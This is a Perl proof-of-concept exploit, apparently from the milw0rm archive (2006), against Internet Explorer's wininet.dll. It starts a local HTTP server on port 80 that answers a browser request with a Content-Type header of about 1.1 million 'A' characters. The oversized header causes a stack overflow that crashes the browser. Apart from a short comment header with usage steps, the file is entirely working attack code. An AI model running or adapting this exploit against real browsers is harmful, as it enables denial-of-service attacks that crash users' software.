#!/usr/bin/perl
# Stack overflow in wininet.dll while parsing huge( > ~1M) Content-Type response
# ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow.
#
# discovered by Firestorm
#
# Usage: 
#	  1) run this code
#       2) open http://127.0.0.1/ with IE
#	     

use IO::Socket;
my $sock=new IO::Socket::INET (Listen    => 1,
                                 LocalAddr => 'localhost',
                                 LocalPort => 80,
                                 Proto     => 'tcp');
die unless $sock;
$huge="A" x 1100000;
$|=1;
print ">http server started on port 80... try 'iexplore http://127.0.0.1/' \n";
$z=$sock->accept();
print ">connection!\n";
do
{
	$ln=<$z>;
	print $ln;
	chomp $ln;
	
	if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
	{
		print ">sending response\n";
		print $z "HTTP/1.1 200 OK\r\nServer: X3 1.0\r\nContent-Type: $huge\r\nConnection: close\r\n\r\ndone";
		close($z);
		exit;
	}
} while (true);

# milw0rm.com [2006-07-20]
      